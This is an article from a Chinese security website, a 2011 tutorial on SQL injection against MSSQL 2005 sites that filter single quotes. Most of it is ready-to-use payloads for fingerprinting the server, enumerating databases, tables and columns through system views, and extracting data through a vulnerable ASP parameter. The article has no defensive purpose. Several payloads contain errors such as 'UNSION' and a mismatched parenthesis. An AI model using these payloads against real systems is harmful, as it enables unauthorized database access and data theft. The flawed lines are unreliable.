频道栏目
首页 > 安全 > 网站安全 > 正文

SQL2005过滤单引号的注入方式

2011-12-23 10:32:38           
收藏   我要投稿

 

XCH40 整理 

 

 

其中   爆列名有点麻烦

mssql 2005

 

1:

 

and 1=(SELECT @@VERSION)-- 判断数据库版本

 

(master.dbo.sysdatabases 表存放着sql2005数据库系统的所有的数据库信息

 

查询命令:user master;

          SELECT * FROM MASTER.DBO.SYSDATABASES

 

系统默认的数据库有:1master  2tempdb 3model 4msdb)

 

2:dbid变量爆数据库名称

 

AND 1 IN (SELECT NAME FROM MASTER.DBO.SYSDATABASES WHERE DBID=3)

 

改变DBID值依次爆出!到无法爆出位置~!

 

3:获取表明

 

(MSSQL2005 每个数据库都有一个用来存放表明信息的表,PUBLIC权限即可查询!

表明为:INFORMATION_SCHEMA.TABLES

 

USE MASTER ;

SELECT * FROM INFORMATION_SCHEMA.TABLES;

 

INFORMATION_SCHEMA.TABLES表的机构:

 

                 TABLE_NAME

1                  XXX

2                  XXX

3                  XXX

...

 

而表明就存在TABLE_NAME的列里)

 

4:TOP 1爆出表名

 

   AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)

 

   更换TOP 1  即可爆出其它的。

 

5:获取爆出表的内容  加上条件语句:where table_name!=0XXXXX  (0xxx为上一步你爆出表明的16进制!)

 

   AND 1 IN (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLENAME!=0XXXXX)

 

 

6:爆列名了

 

   MSSQL2005   SYS.ALL_OBJECTS表里存放着表与列的信息,表的列明:其列名OBJECT_ID里存放着一个数值,对应着另一个表名SYS.ALL_COLUMNS里的列明的ID,而SYS.ALL_COLUMNS表里存放着列的信息

 

执行:select * from sys.all_objects

 

表的机构

 

    name   object_id   xxx_id   schema_id  xxx_id

1  sysXXX     12

2  sysXXX      8

3

4

 

由结构可知,列名name和列名object_id是有对应的。注入时,通过指定的name值爆指定表的object_id值

 

AND 999999< (SELECT TOP 1 CAST([OBJECT_ID] AS NVARCHAR(20)) FROM SYS.ALL_OBJECTS WHERE NAME=0XXX

 

 

但是此句无法爆出数据值,用折半法来进行猜解,由于其数值都在10位以上,所有,其法也不太可能,但是可以联合两张表来直接查询,在此提交:

 

AND 9 IN (SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXXXX)--

 

就可以爆出0xxxxx的第一个列名,可以加入条件

 

'and B.NAME!=0X  0X为已爆出的列名,类推可以一次爆出。

 

AND 9 IN(SELECT B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=0XXXXX AND B.NAME!=0XBBBBBB)--

 

最终:

 

表名和列名爆完后:,获取值就很简单

 

例如:   xch40.asp?id=1 and 77=(select ascii(@@VERSION))

         xch40.asp?id=1 and 1=2 UNSION SELECT 1,2,3,4...@VERSION--...

 

   

相关TAG标签 引号 方式
上一篇:用.htaccess限制执行文件类型
下一篇:防止跨站点脚本攻击
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站